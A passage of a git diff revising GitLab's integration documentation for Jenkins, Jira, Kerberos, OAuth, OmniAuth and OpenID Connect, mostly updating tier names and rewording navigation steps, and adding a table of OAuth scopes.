Binary files differdeleted file mode 100644 index ebff8529b4e..00000000000 --- a/doc/integration/img/oauth_provider_authorized_application.png +++ /dev/null diff --git a/doc/integration/img/oauth_provider_user_wide_applications.png b/doc/integration/img/oauth_provider_user_wide_applications.png Binary files differdeleted file mode 100644 index 9cc12555574..00000000000 --- a/doc/integration/img/oauth_provider_user_wide_applications.png +++ /dev/null diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md index 7be2a6efd71..b51ce5de8d7 100644 --- a/doc/integration/jenkins.md +++ b/doc/integration/jenkins.md @@ -4,9 +4,9 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Jenkins CI service **(CORE)** +# Jenkins CI service **(FREE)** -> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/246756) to Core in GitLab 13.7. +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/246756) to GitLab Free in 13.7. From GitLab, you can trigger a Jenkins build when you push code to a repository, or when a merge request is created. In return, the Jenkins pipeline status is shown on merge requests widgets and @@ -64,15 +64,16 @@ Grant a GitLab user access to the select GitLab projects. 1. Grant the user permission to the GitLab projects. If you're integrating Jenkins with many GitLab projects, consider granting the user global - Admin permission. Otherwise, add the user to each project, and grant Developer permission. + Administrator permission. Otherwise, add the user to each project, and grant Developer permission. ## Configure GitLab API access Create a personal access token to authorize Jenkins' access to GitLab. -1. Log in to GitLab as the user to be used with Jenkins. -1. Click your avatar, then **Settings**. -1. Click **Access Tokens** in the sidebar. +1. Sign in to GitLab as the user to be used with Jenkins. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Access Tokens**. 1. Create a personal access token with the **API** scope checkbox checked. For more details, see [Personal access tokens](../user/profile/personal_access_tokens.md). 1. Record the personal access token's value, because it's required in [Configure the Jenkins server](#configure-the-jenkins-server) section. @@ -166,7 +167,7 @@ to integrate GitLab and Jenkins. 1. In the configuration of your Jenkins job, in the GitLab configuration section, click **Advanced**. 1. Click the **Generate** button under the **Secret Token** field. 1. Copy the resulting token, and save the job configuration. -1. In GitLab, create a webhook for your project, enter the trigger URL (e.g. `https://JENKINS_URL/project/YOUR_JOB`) and paste the token in the **Secret Token** field. +1. In GitLab, create a webhook for your project, enter the trigger URL (such as `https://JENKINS_URL/project/YOUR_JOB`) and paste the token in the **Secret Token** field. 1. After you add the webhook, click the **Test** button, and it should succeed. ## Troubleshooting @@ -205,8 +206,8 @@ which is set to 10 seconds by default. To fix this the `gitlab_rails['webhook_timeout']` value must be increased in the `gitlab.rb` configuration file, followed by the [`gitlab-ctl reconfigure` command](../administration/restart_gitlab.md). -If you don't find the errors above, but do find *duplicate* entries like below (in `/var/log/gitlab/gitlab-rail`), this -could also indicate that [webhook requests are timing out](../user/project/integrations/webhooks.md#webhook-fails-or-multiple-webhook-requests-are-triggered): +If you don't find the errors above, but do find *duplicate* entries like below (in `/var/log/gitlab/gitlab-rail`), +[webhook requests may be timing out](../user/project/integrations/webhooks.md#webhook-fails-or-multiple-webhook-requests-are-triggered): ```plaintext 2019-10-25_04:22:41.25630 2019-10-25T04:22:41.256Z 1584 TID-ovowh4tek WebHookWorker JID-941fb7f40b69dff3d833c99b INFO: start diff --git a/doc/integration/jenkins_deprecated.md b/doc/integration/jenkins_deprecated.md index b5d68e3183f..2ed87456ea1 100644 --- a/doc/integration/jenkins_deprecated.md +++ b/doc/integration/jenkins_deprecated.md @@ -50,7 +50,7 @@ Now navigate to GitLab services page and activate Jenkins  -Done! Now when you push to GitLab - it creates a build for Jenkins, and you can view the merge request build status with a link to the Jenkins build. +Done! When you push to GitLab, it creates a build for Jenkins. You can view the merge request build status with a link to the Jenkins build. ### Multi-project Configuration diff --git a/doc/integration/jira.md b/doc/integration/jira.md deleted file mode 100644 index 0e22bedd1cc..00000000000 --- a/doc/integration/jira.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/project/integrations/jira.md' ---- - -This document was moved to [another location](../user/project/integrations/jira.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md index 1c0b2bdc85e..59a96970d75 100644 --- a/doc/integration/jira_development_panel.md +++ b/doc/integration/jira_development_panel.md @@ -4,12 +4,11 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Jira Development Panel integration **(CORE)** +# GitLab Jira Development Panel integration **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2381) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.0. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/233149) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.4. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/233149) to GitLab Free in 13.4. -The Jira Development Panel integration allows you to reference Jira issues within GitLab, displaying +The Jira Development Panel integration allows you to reference Jira issues in GitLab, displaying activity in the [Development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/) in the issue. @@ -19,8 +18,8 @@ to configure both integrations to take advantage of both sets of features. See a Depending on your environment, you can enable this integration by either: -- Configuring the Jira DVCS connector. -- Using the GitLab for Jira app in the Atlassian Marketplace. +- Configuring [the Jira DVCS connector](#jira-dvcs-configuration). +- Using the [GitLab for Jira app](#gitlab-for-jira-app) in the Atlassian Marketplace. See the [Configuration](#configuration) section for details. @@ -35,7 +34,7 @@ See the [Configuration](#configuration) section for details. With this integration, you can access related GitLab merge requests, branches, and commits directly from a Jira issue, reflecting your work in GitLab. From the Development panel, you can open a detailed view and take actions including creating a new merge request from a branch. For more information, see [Usage](#usage). -This integration connects all GitLab projects to projects in the Jira instance within either: +This integration connects all GitLab projects to projects in the Jira instance in either: - A top-level group. A top-level GitLab group is one that does not have any parent group itself. All the projects of that top-level group, as well as projects of the top-level group's subgroups nesting @@ -57,13 +56,13 @@ If you're using: - Self-managed GitLab, self-managed Jira, or both, configure the integration using [Jira's DVCS Connector](#jira-dvcs-configuration), which syncs data hourly. -We recommend that a GitLab group administrator or instance administrator (in the case of +We recommend that a GitLab group maintainer or group owner, or instance administrator (in the case of self-managed GitLab) set up the integration to simplify administration. ### Jira DVCS configuration -If you're using GitLab.com and Jira Cloud, we recommend you use the -[GitLab for Jira app](#gitlab-for-jira-app), unless you have a specific need for the DVCS Connector. +If you're using GitLab.com and Jira Cloud, use the +[GitLab for Jira app](#gitlab-for-jira-app) unless you have a specific need for the DVCS Connector. When configuring Jira DVCS Connector: @@ -78,14 +77,12 @@ To ensure that regular user account maintenance doesn't impact your integration, create and use a single-purpose `jira` user in GitLab. 1. In GitLab, create a new application to allow Jira to connect with your GitLab account. - - While signed in to the GitLab account that you want Jira to use to connect to GitLab, - click your profile avatar at the top right, and then click **Settings > Applications**. - Use the form to create a new application. - - In the **Name** field, enter a descriptive name for the integration, such as `Jira`. - - For the **Redirect URI** field, enter `https://<gitlab.example.com>/login/oauth/callback`, +1. Sign in to the GitLab account that you want Jira to use to connect to GitLab. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Applications**. +1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`. +1. In the **Redirect URI** field, enter `https://<gitlab.example.com>/login/oauth/callback`, replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com, this would be `https://gitlab.com/login/oauth/callback`. @@ -97,15 +94,14 @@ create and use a single-purpose `jira` user in GitLab.  - - Check **API** in the Scopes section and uncheck any other checkboxes. - +1. Check **API** in the **Scopes** section, and clear any other checkboxes. 1. Click **Save application**. GitLab displays the generated **Application ID** and **Secret** values. Copy these values, which you use in Jira. #### Jira DVCS Connector setup -If you're using GitLab.com and Jira Cloud, we recommend you use the -[GitLab for Jira app](#gitlab-for-jira-app), unless you have a specific need for the DVCS Connector. +If you're using GitLab.com and Jira Cloud, use the +[GitLab for Jira app](#gitlab-for-jira-app) unless you have a specific need for the DVCS Connector. 1. Ensure you have completed the [GitLab configuration](#gitlab-account-configuration-for-dvcs). 1. If you're using Jira Server, go to **Settings (gear) > Applications > DVCS accounts**. @@ -114,37 +110,39 @@ If you're using GitLab.com and Jira Cloud, we recommend you use the (We're pretending to be GitHub in this integration, until there's additional platform support in Jira.) 1. Complete the form: - Select **GitHub Enterprise** for the **Host** field. +1. Select **GitHub Enterprise** for the **Host** field. + +1. In the **Team or User Account** field, enter either: - In the **Team or User Account** field, enter the relative path of a top-level GitLab group that you have access to, - or the relative path of your personal namespace. + - The relative path of a top-level GitLab group that you have access to. + - The relative path of your personal namespace.  - In the **Host URL** field, enter `https://<gitlab.example.com>/`, +1. In the **Host URL** field, enter `https://<gitlab.example.com>/`, replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com, this would be `https://gitlab.com/`. NOTE: If using a GitLab version earlier than 11.3 the **Host URL** value should be `https://<gitlab.example.com>/-/jira` - For the **Client ID** field, use the **Application ID** value from the previous section. +1. For the **Client ID** field, use the **Application ID** value from the previous section. - For the **Client Secret** field, use the **Secret** value from the previous section. +1. For the **Client Secret** field, use the **Secret** value from the previous section. - Ensure that the rest of the checkboxes are checked. +1. Ensure that the rest of the checkboxes are checked. 1. Click **Add** to complete and create the integration. - Jira takes up to a few minutes to know about (import behind the scenes) all the commits and branches - for all the projects in the GitLab group you specified in the previous step. These are refreshed - every 60 minutes. + Jira takes up to a few minutes to know about (import behind the scenes) all the commits and branches + for all the projects in the GitLab group you specified in the previous step. These are refreshed + every 60 minutes. - In the future, we plan on implementing real-time integration. If you need - to refresh the data manually, you can do this from the `Applications -> DVCS - accounts` screen where you initially set up the integration: + In the future, we plan on implementing real-time integration. If you need + to refresh the data manually, you can do this from the `Applications -> DVCS + accounts` screen where you initially set up the integration: -  +  To connect additional GitLab projects from other GitLab top-level groups (or personal namespaces), repeat the previous steps with additional Jira DVCS accounts. @@ -173,26 +171,26 @@ If there was an issue with SSL/TLS, this error message is generated. as GitLab is the TLS client. - The Jira Development Panel integration requires Jira to connect to GitLab, which causes Jira to be the TLS client. If your GitLab server's certificate is not - issued by a public certificate authority, the Java truststore on Jira's server + issued by a public certificate authority, the Java Truststore on Jira's server needs to have the appropriate certificate added to it (such as your organization's root certificate). Refer to Atlassian's documentation and Atlassian Support for assistance setting up Jira correctly: - [Adding a certificate to the trust store](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html). - - Simplest approach is to use [keytool](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html). - - Add additional roots to Java's default truststore (`cacerts`) to allow Jira to + - Simplest approach is to use [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html). + - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to also trust public certificate authorities. - If the integration stops working after upgrading Jira's Java runtime, this - might be because the `cacerts` truststore got replaced. + might be because the `cacerts` Truststore got replaced. - [Troubleshooting connectivity up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html), using the a java class called `SSLPoke`. -- Download the class from Atlassian's knowledgebase to Jira's server, for example to `/tmp`. +- Download the class from Atlassian's knowledge base to Jira's server, for example to `/tmp`. - Use the same Java runtime as Jira. - Pass all networking-related parameters that Jira is called with, such as proxy - settings or an alternative root truststore (`-Djavax.net.ssl.trustStore`): + settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`): ```shell ${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443 @@ -211,7 +209,7 @@ The requested scope is invalid, unknown, or malformed. Potential resolutions: -- Verify the URL shown in the browser after being redirected from Jira in step 5 of [Jira DVCS Connector Setp](#jira-dvcs-connector-setup) includes `scope=api` within the query string. +- Verify the URL shown in the browser after being redirected from Jira in step 5 of [Jira DVCS Connector Setup](#jira-dvcs-connector-setup) includes `scope=api` in the query string. - If `scope=api` is missing from the URL, return to [GitLab account configuration](#gitlab-account-configuration-for-dvcs) and ensure the application you created in step 1 has the `api` box checked under scopes. ##### Jira error adding account and no repositories listed @@ -230,7 +228,7 @@ Potential resolutions: - If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later to resolve an identified [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012). -- If you're using GitLab Core or GitLab Starter, be sure you're using +- If you're using GitLab Free or GitLab Starter, be sure you're using GitLab 13.4 or later. [Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply. @@ -248,30 +246,40 @@ resynchronize the information. To do so: the button. For more information, see [Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/synchronize-jira-cloud-to-bitbucket/). -### GitLab for Jira app +### GitLab for Jira app **(FREE SAAS)** -You can integrate GitLab.com and Jira Cloud using the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) app in the Atlassian Marketplace. +You can integrate GitLab.com and Jira Cloud using the +[GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) +app in the Atlassian Marketplace. The user configuring GitLab for Jira must have +[Maintainer](../user/permissions.md) permissions in the GitLab namespace. -This method is recommended when using GitLab.com and Jira Cloud because data is synchronized in realtime, while the DVCS connector updates data only once per hour. If you are not using both of these environments, use the [Jira DVCS Connector](#jira-dvcs-configuration) method. +This method is recommended when using GitLab.com and Jira Cloud because data is synchronized in real-time. The DVCS connector updates data only once per hour. If you are not using both of these environments, use the [Jira DVCS Connector](#jira-dvcs-configuration) method. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For a walkthrough of the integration with GitLab for Jira, watch [Configure GitLab Jira Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube. 1. Go to **Jira Settings > Apps > Find new apps**, then search for GitLab. -1. Click **GitLab for Jira**, then click **Get it now**. Or go the [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) +1. Click **GitLab for Jira**, then click **Get it now**, or go to the + [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud).  -1. After installing, click **Get started** to go to the configurations page. This page is always available under **Jira Settings > Apps > Manage apps**. +1. After installing, click **Get started** to go to the configurations page. + This page is always available under **Jira Settings > Apps > Manage apps**.  -1. In **Namespace**, enter the group or personal namespace, and then click - **Link namespace to Jira**. The user setting up *GitLab for Jira* must have - *Maintainer* access to the GitLab namespace. +1. If not already signed in to GitLab.com, you must sign in as a user with + [Maintainer](../user/permissions.md) permissions to add namespaces. -NOTE: -The GitLab user only needs access when adding a new namespace. For syncing with Jira, we do not depend on the user's token. +  +1. Select **Add namespace** to open the list of available namespaces. + +1. Identify the namespace you want to link, and select **Link**. -  +  + +NOTE: +The GitLab user only needs access when adding a new namespace. For syncing with +Jira, we do not depend on the user's token. After a namespace is added: @@ -285,11 +293,11 @@ For more information, see [Usage](#usage). #### Troubleshooting GitLab for Jira -The GitLab for Jira App uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies which can lead to a message saying that the user needs to log in on GitLab.com even though the user is already logged in. +The GitLab for Jira App uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies. This can lead to a message saying that the user needs to log in on GitLab.com even though the user is already logged in. > "You need to sign in or sign up before continuing." -In this case, use [Firefox](https://www.mozilla.org/en-US/firefox/), [Google Chrome](https://www.google.com/chrome/index.html) or enable cross-site cookies in your browser. +In this case, use [Firefox](https://www.mozilla.org/en-US/firefox/) or enable cross-site cookies in your browser. ## Usage @@ -314,6 +322,6 @@ For more information on using Jira Smart Commits to track time against an issue, ## Limitations -This integration is currently not supported on GitLab instances under a +This integration is not supported on GitLab instances under a [relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab). For example, `http://example.com/gitlab`. diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md index 390c3ae3e7c..5be076464d8 100644 --- a/doc/integration/kerberos.md +++ b/doc/integration/kerberos.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, how-to --- -# Kerberos integration **(STARTER ONLY)** +# Kerberos integration **(PREMIUM SELF)** GitLab can integrate with [Kerberos](https://web.mit.edu/kerberos/) as an authentication mechanism. @@ -109,15 +109,16 @@ existing GitLab account. To do so: 1. Navigate to **Admin Area > Overview > Users > Example User**. 1. Select the Identities tab. -1. Select 'Kerberos Spnego' in the 'Provider' dropdown box. +1. Select 'Kerberos SPNEGO' in the 'Provider' dropdown box. 1. Make sure the **Identifier** corresponds to the Kerberos username. 1. Select **Save changes**. If you're not an administrator: -1. Select your avatar in the upper-right corner, and select **Settings**. -1. Select Account. In the **Social sign-in** section, select - **Connect Kerberos Spnego**. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Account**. +1. In the **Social sign-in** section, select **Connect Kerberos SPNEGO**. If you don't see a **Social sign-in** Kerberos option, follow the requirements in [Enable single sign-on](#enable-single-sign-on). @@ -291,10 +292,10 @@ remove support for password-based Kerberos sign-ins in a future release, so we recommend that you upgrade to ticket-based sign-ins. Depending on your existing GitLab configuration, the 'Sign in with: -Kerberos Spnego' button may already be visible on your GitLab sign-in +Kerberos SPNEGO' button may already be visible on your GitLab sign-in page. If not, then add the settings [described above](#configuration). -Once you have verified that the 'Kerberos Spnego' button works +Once you have verified that the 'Kerberos SPNEGO' button works without entering any passwords, you can proceed to disable password-based Kerberos sign-ins. To do this you need only need to remove the OmniAuth provider named `kerberos` from your `gitlab.yml` / diff --git a/doc/integration/ldap.md b/doc/integration/ldap.md deleted file mode 100644 index 55c169bca80..00000000000 --- a/doc/integration/ldap.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/auth/ldap/index.md' ---- - -This document was moved to [`administration/auth/ldap`](../administration/auth/ldap/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/oauth2_generic.md b/doc/integration/oauth2_generic.md index 88e9e3ef05c..41656bd2216 100644 --- a/doc/integration/oauth2_generic.md +++ b/doc/integration/oauth2_generic.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Sign into GitLab with (almost) any OAuth2 provider -The `omniauth-oauth2-generic` gem allows Single Sign On between GitLab and your own OAuth2 provider +The `omniauth-oauth2-generic` gem allows Single Sign-On between GitLab and your own OAuth2 provider (or any OAuth2 provider compatible with this gem) This strategy is designed to allow configuration of the simple OmniAuth SSO process outlined below: diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md index 82cb409c560..377c8ec82d0 100644 --- a/doc/integration/oauth_provider.md +++ b/doc/integration/oauth_provider.md @@ -1,83 +1,88 @@ --- -stage: Create -group: Ecosystem +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab as OAuth2 authentication service provider -This document is about using GitLab as an OAuth authentication service provider -to sign in to other services. +This document describes how you can use GitLab as an OAuth 2 +authentication service provider. If you want to use: - The [OAuth2](https://oauth.net/2/) protocol to access GitLab resources on user's behalf, - see [OAuth2 provider](../api/oauth2.md) -- Other OAuth authentication service providers to sign in to + see [OAuth2 provider](../api/oauth2.md). +- Other OAuth 2 authentication service providers to sign in to GitLab, see the [OAuth2 client documentation](omniauth.md). - The related API, see [Applications API](../api/applications.md). ## Introduction to OAuth -[OAuth](https://oauth.net/2/) provides to client applications a 'secure delegated access' to server -resources on behalf of a resource owner. In fact, OAuth allows an authorization -server to issue access tokens to third-party clients with the approval of the -resource owner, or the end-user. +[OAuth 2](https://oauth.net/2/) provides to client applications a 'secure delegated +access' to server resources on behalf of a resource owner. OAuth 2 allows +authorization servers to issue access tokens to third-party clients with the approval +of the resource owner or the end-user. -OAuth is mostly used as a Single Sign-On service (SSO), but you can find a -lot of different uses for this functionality. For example, you can allow users -to sign in to your application with their GitLab.com account, or GitLab.com -can be used for authentication to your GitLab instance +OAuth 2 can be used: + +- To allow users to sign in to your application with their GitLab.com account. +- To set up GitLab.com for authentication to your GitLab instance. (see [GitLab OmniAuth](gitlab.md)). -The 'GitLab Importer' feature is also using the OAuth protocol to give access +The 'GitLab Importer' feature also uses OAuth 2 to give access to repositories without sharing user credentials to your GitLab.com account. -GitLab supports two ways of adding a new OAuth2 application to an instance. You -can either add an application as a regular user or add it in the Admin Area. -What this means is that GitLab can actually have instance-wide and a user-wide -applications. There is no difference between them except for the different -permission levels they are set (user/admin). The default callback URL is -`http://your-gitlab.example.com/users/auth/gitlab/callback` - -## Adding an application through the profile +GitLab supports two ways of adding a new OAuth 2 application to an instance: -In order to add a new application via your profile, navigate to -**Profile Settings > Applications** and select **New Application**. +- As a regular user, for applications owned by an individual. +- Through the Admin Area menu for instance-wide apps. - +The only difference between these two methods is the [permission](../user/permissions.md) +levels. The default callback URL is `http://your-gitlab.example.com/users/auth/gitlab/callback`. -In the application form, enter a **Name** (arbitrary), and make sure to set up -correctly the **Redirect URI** which is the URL where users are sent after -they authorize with GitLab. +## Add an application through the profile - +To add a new application via your profile: -When you click **Submit** you are provided with the application ID and -the application secret which you can then use with your application that -connects to GitLab. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Applications**. +1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications). + The **Redirect URI** is the URL where users are sent after they authorize with GitLab. +1. Select **Save application**. GitLab displays: - + - Application ID: OAuth 2 Client ID. + - Secret: OAuth 2 Client Secret. ## OAuth applications in the Admin Area -To create an application that does not belong to a certain user, you can create -it from the Admin Area. - - +To create an application for your GitLab instance, select +**Admin Area > Applications > New application**. -You're also able to mark an application as _trusted_ when creating it through the Admin Area. By doing that, -the user authorization step is automatically skipped for this application. +When creating an **Admin Area** application, you can mark it as _trusted_. +The user authorization step is automatically skipped for this application. ## Authorized applications -Every application you authorized to use your GitLab credentials is shown -in the **Authorized applications** section under **Profile Settings > Applications**. - - - -The GitLab OAuth applications support scopes, which allow various actions that any given -application can perform such as `read_user` and `api`. There are many more scopes -available. - -At any time you can revoke any access by just clicking **Revoke**. +Every application you authorize with your GitLab credentials is shown +in the **Authorized applications** section under **Settings > Applications**. + +The GitLab OAuth 2 applications support scopes, which allow various actions that any given +application can perform. Available scopes are depicted in the following table. + +| Scope | Description | +| ------------------ | ----------- | +| `api` | Grants complete read/write access to the API, including all groups and projects, the container registry, and the package registry. | +| `read_user` | Grants read-only access to the authenticated user's profile through the /user API endpoint, which includes username, public email, and full name. Also grants access to read-only API endpoints under /users. | +| `read_api` | Grants read access to the API, including all groups and projects, the container registry, and the package registry. | +| `read_repository` | Grants read-only access to repositories on private projects using Git-over-HTTP or the Repository Files API. | +| `write_repository` | Grants read-write access to repositories on private projects using Git-over-HTTP (not using the API). | +| `read_registry` | Grants read-only access to container registry images on private projects. | +| `write_registry` | Grants read-only access to container registry images on private projects. | +| `sudo` | Grants permission to perform API actions as any user in the system, when authenticated as an administrator user. | +| `openid` | Grants permission to authenticate with GitLab using [OpenID Connect](openid_connect_provider.md). Also gives read-only access to the user's profile and group memberships. | +| `profile` | Grants read-only access to the user's profile data using [OpenID Connect](openid_connect_provider.md). | +| `email` | Grants read-only access to the user's primary email address using [OpenID Connect](openid_connect_provider.md). | + +At any time you can revoke any access by clicking **Revoke**. diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md index 53c19ddfdb1..cf033018e17 100644 --- a/doc/integration/omniauth.md +++ b/doc/integration/omniauth.md @@ -55,7 +55,7 @@ earlier version, you must explicitly enable it. - `allow_single_sign_on` allows you to specify the providers you want to allow to automatically create an account. It defaults to `false`. If `false` users must - be created manually or they can't sign in via OmniAuth. + be created manually or they can't sign in by using OmniAuth. - `auto_link_ldap_user` can be used if you have [LDAP / ActiveDirectory](../administration/auth/ldap/index.md) integration enabled. It defaults to `false`. When enabled, users automatically created through an OmniAuth provider have their LDAP identity created in GitLab as well. @@ -66,7 +66,7 @@ earlier version, you must explicitly enable it. NOTE: If you set `block_auto_created_users` to `false`, make sure to only define providers under `allow_single_sign_on` that you are able to control, like -SAML, Shibboleth, Crowd or Google, or set it to `false` otherwise any user on +SAML, Shibboleth, Crowd, or Google. Otherwise, set it to `false`, or any user on the Internet can successfully sign in to your GitLab without administrative approval. @@ -138,9 +138,10 @@ provider such as Twitter can be enabled. Follow the steps below to enable an OmniAuth provider for an existing user. 1. Sign in normally - whether standard sign in, LDAP, or another OmniAuth provider. -1. Go to profile settings (the silhouette icon in the top right corner). -1. Select the "Account" tab. -1. Under "Connected Accounts" select the desired OmniAuth provider, such as Twitter. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Account**. +1. In the **Connected Accounts** section, select the desired OmniAuth provider, such as Twitter. 1. The user is redirected to the provider. After the user authorizes GitLab, they are redirected back to GitLab. @@ -168,10 +169,8 @@ omniauth: ## Configure OmniAuth Providers as External -> Introduced in GitLab 8.7. - -You can define which OmniAuth providers you want to be `external` so that all users -**creating accounts, or logging in via these providers** can't have +You can define which OmniAuth providers you want to be `external`. Users +creating accounts, or logging in by using these `external` providers cannot have access to internal projects. You must use the full name of the provider, like `google_oauth2` for Google. Refer to the examples for the full names of the supported providers. @@ -200,9 +199,9 @@ NOTE: The following information only applies for installations from source. GitLab uses [OmniAuth](https://github.com/omniauth/omniauth) for authentication and already ships -with a few providers pre-installed (e.g. LDAP, GitHub, Twitter). But sometimes that -is not enough and you need to integrate with other authentication solutions. For -these cases you can use the OmniAuth provider. +with a few providers pre-installed, such as LDAP, GitHub, and Twitter. You may also +need to integrate with other authentication solutions. For +these cases, you can use the OmniAuth provider. ### Steps @@ -215,7 +214,7 @@ from the OmniAuth provider's documentation. sudo service gitlab stop ``` -- Add the gem to your [Gemfile](https://gitlab.com/gitlab-org/gitlab/blob/master/Gemfile): +- Add the gem to your [`Gemfile`](https://gitlab.com/gitlab-org/gitlab/blob/master/Gemfile): ```shell gem "omniauth-your-auth-provider" @@ -240,25 +239,28 @@ from the OmniAuth provider's documentation. If you have successfully set up a provider that is not shipped with GitLab itself, please let us know. +Share your experience [in the public Wiki](https://github.com/gitlabhq/gitlab-public-wiki/wiki/Custom-omniauth-provider-configurations). You can help others by reporting successful configurations and probably share a -few insights or provide warnings for common errors or pitfalls by sharing your -experience [in the public Wiki](https://github.com/gitlabhq/gitlab-public-wiki/wiki/Custom-omniauth-provider-configurations). +few insights or provide warnings for common errors or pitfalls. While we can't officially support every possible authentication mechanism out there, we'd like to at least help those with specific needs. ## Enable or disable Sign In with an OmniAuth provider without disabling import sources -> Introduced in GitLab 8.8. - -Administrators are able to enable or disable Sign In via some OmniAuth providers. +Administrators are able to enable or disable **Sign In** by using some OmniAuth providers. NOTE: -By default Sign In is enabled via all the OAuth Providers that have been configured in `config/gitlab.yml`. +By default, **Sign In** is enabled by using all the OAuth Providers that have been configured in `config/gitlab.yml`. + +To enable/disable an OmniAuth provider: -In order to enable/disable an OmniAuth provider, go to Admin Area -> Settings -> Sign-in Restrictions section -> Enabled OAuth Sign-In sources and select the providers you want to enable or disable. +1. In the top navigation bar, go to **Admin Area**. +1. In the left sidebar, go to **Settings**. +1. Scroll to the **Sign-in Restrictions** section, and click **Expand**. +1. Next to **Enabled OAuth Sign-In sources**, select the check box for each provider you want to enable or disable. - +  ## Disabling OmniAuth @@ -325,7 +327,7 @@ omniauth: You can add the `auto_sign_in_with_provider` setting to your GitLab configuration to redirect login requests to your OmniAuth provider for -authentication, removing the need to click a button before actually signing in. +authentication. This removes the need to click a button before actually signing in. For example, when using the Azure integration, set the following to enable auto sign-in: @@ -345,7 +347,7 @@ omniauth: Keep in mind that every sign-in attempt is redirected to the OmniAuth provider; you can't sign in using local credentials. Ensure at least -one of the OmniAuth users has admin permissions. +one of the OmniAuth users has administrator permissions. You may also bypass the auto sign in feature by browsing to `https://gitlab.example.com/users/sign_in?auto_sign_in=false`. diff --git a/doc/integration/openid_connect_provider.md b/doc/integration/openid_connect_provider.md index 5bf079df800..4455ace3e1f 100644 --- a/doc/integration/openid_connect_provider.md +++ b/doc/integration/openid_connect_provider.md @@ -12,11 +12,12 @@ to sign in to other services. ## Introduction to OpenID Connect [OpenID Connect](https://openid.net/connect/) \(OIDC) is a simple identity layer on top of the -OAuth 2.0 protocol. It allows clients to verify the identity of the end-user -based on the authentication performed by GitLab, as well as to obtain -basic profile information about the end-user in an interoperable and -REST-like manner. OIDC performs many of the same tasks as OpenID 2.0, -but does so in a way that is API-friendly, and usable by native and +OAuth 2.0 protocol. It allows clients to: + +- Verify the identity of the end-user based on the authentication performed by GitLab. +- Obtain basic profile information about the end-user in an interoperable and REST-like manner. + +OIDC performs many of the same tasks as OpenID 2.0, but is API-friendly and usable by native and mobile applications. On the client side, you can use [OmniAuth::OpenIDConnect](https://github.com/jjbohn/omniauth-openid-connect/) for Rails @@ -34,7 +35,7 @@ is select the `openid` scope in the application settings. ## Shared information -Currently the following user information is shared with clients: +The following user information is shared with clients: | Claim | Type | Description | |:-----------------|:----------|:------------| diff --git a/doc/integration/recaptcha.md b/doc/integration/recaptcha.md index bb5425187c1..8f090dfc588 100644 --- a/doc/integration/recaptcha.md +++ b/doc/integration/recaptcha.md @@ -14,7 +14,7 @@ to confirm that a real user, not 